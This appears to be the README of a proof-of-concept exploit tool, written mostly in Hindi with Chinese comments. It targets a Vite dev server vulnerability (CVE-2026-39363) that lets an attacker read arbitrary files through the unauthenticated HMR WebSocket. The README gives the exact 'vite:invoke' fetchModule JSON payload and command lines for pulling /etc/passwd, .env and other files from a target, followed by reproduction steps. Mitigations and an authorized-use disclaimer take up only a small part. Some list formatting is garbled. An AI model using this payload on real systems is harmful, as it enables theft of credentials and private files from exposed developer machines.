
方便实用的CVE-2026-39363利用工具
GHSA-p9ff-h696-f583 के लिए सीधे चलाने योग्य PoC। अनप्रमाणित HMR WebSocket के माध्यम से fetchModule को कॉल करके, HTTP परत की server.fs.allow सीमा को बायपास करता है और dev server वाली मशीन पर कोई भी फ़ाइल पढ़ता है।
| संस्करण रेखा | प्रभावित | समाधान |
|---|---|---|
| Vite 6 | >=6.0.0, <=6.4.1 | 6.4.2 |
| Vite 7 | >=7.0.0, <=7.3.1 | 7.3.2 |
| Vite 8 | >=8.0.0, <=8.0.4 | 8.0.5 |
| vite-plus (VoidZero शाखा) | <=0.1.15 | 0.1.16 |
शोषण की पूर्वापेक्षाएँ:
--host / server.host कॉन्फ़िगरेशन), औरserver.ws: false से बंद किया जा सकता है)।CVSS 3.1 7.5 High (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N), CWE-200 + CWE-306।
CISA SSVC ने exploitation=poc, automatable=yes चिह्नित किया है।
server.fs.allow द्वारा रोक दिया जाता है (/@fs/<绝对路径> → 403)।Sec-WebSocket-Protocol: vite-hmr हेडर, और?token= क्वेरी पैरामीटर की आवश्यकता (CWE-306: गैर-ब्राउज़र क्लाइंट बिना Origin हेडर भेजे सीधे जुड़ सकते हैं)।vite:invoke कस्टम इवेंट भेजकर सर्वर पर पंजीकृत fetchModule विधि को कॉल किया जाता है, जिसमें file://<绝对路径>?raw भेजा जाता है। fetchModule सीधे मॉड्यूल transform पाइपलाइन से गुजरता है, पूरी तरह से fs.allow जाँच को बायपास करता है, और फ़ाइल सामग्री को export default "..." के रूप में लौटाता है (CWE-200)।vite:invoke अनुरोध संदेश संरचना (v6/v7/v8 समान):
{
"type": "custom",
"event": "vite:invoke",
"data": {
"name": "fetchModule",
"id": "1send",
"data": ["file:///etc/passwd?raw"]
}
}
सर्वर के प्रत्युत्तर में id बदलकर 1response हो जाता है, और data.data.result.code फ़ाइल सामग्री होती है।
केवल Python 3 मानक पुस्तकालय आवश्यक है, कोई तृतीय-पक्ष निर्भरता नहीं:
# 读单个文件(POSIX 路径)
python exp.py http://target:5173 /etc/passwd
# Windows 路径 + 读多个文件
python exp.py http://target:5173 C:/Users/admin/.env C:/Windows/win.ini
# 保存到目录(文件名按路径自动安全化)
python exp.py http://target:5173 /etc/passwd /etc/hosts -o dump/
# HTTPS dev server
python exp.py https://target:5173 /etc/passwd
# 目标配置了 allowedHosts 域名白名单时,用 IP/localhost 当 Host 头
python exp.py http://192.168.1.10:5173 /etc/passwd --host-header localhost:5173
पैरामीटर:
इस रिपॉज़िटरी के PoC का निम्नलिखित वातावरणों में सफलतापूर्वक परीक्षण किया गया है (dev server root के बाहर का secret.txt पढ़ा गया, HTTP @fs पथ पर उसी फ़ाइल के लिए 403 मिला):
vite --host 0.0.0.0, Windows)पुनरुत्पादन चरण (PoC के समान क्रम):
# 1. 起一个暴露到网络的受影响 dev server
npm i [email protected] && npx vite --host 0.0.0.0 --port 5173
# 2. HTTP 路径被 fs.allow 拦(预期 403)
curl -i 'http://target:5173/@fs/<root外绝对路径>?raw' # -> 403
# 3. WebSocket 路径可读(本 PoC)
python exp.py http://target:5173 <root外绝对路径>
vite build + स्टैटिक होस्टिंग उपयोग करें, vite dev न चलाएँ।server.ws: false से HMR अक्षम करें, या रिवर्स प्रॉक्सी जोड़कर केवल स्थानीय मशीन को ही dev server पोर्ट तक पहुँच दें।केवल अधिकृत पेनेट्रेशन परीक्षण, कमज़ोरी पुनरुत्पादन और रक्षा अनुसंधान में उपयोग के लिए। बिना अनुमति के दूसरों के सिस्टम पर इस टूल के उपयोग से होने वाले परिणामों की ज़िम्मेदारी उपयोगकर्ता की होगी।
| पैरामीटर | विवरण |
|---|
url | लक्ष्य, जैसे http://192.168.1.10:5173 |
files | पढ़ने के लिए पूर्ण पथ, POSIX या Windows शैली दोनों मान्य |
--host-header | नकली Host हेडर (डिफ़ॉल्ट रूप से लक्ष्य का host लिया जाता है)। डिफ़ॉल्ट रूप से केवल IP/localhost को अनुमति है, कस्टम डोमेन के लिए स्पष्ट कॉन्फ़िगरेशन आवश्यक है |
--ws-path | HMR WebSocket पथ, डिफ़ॉल्ट / (यदि लक्ष्य में server.hmr.path कॉन्फ़िगर किया गया है तो इसे बदलना होगा) |
--timeout | एकल अनुरोध का टाइमआउट सेकंड, डिफ़ॉल्ट 10 |
-o/--output-dir | पढ़ी गई सामग्री को निर्देशिका में सहेजें |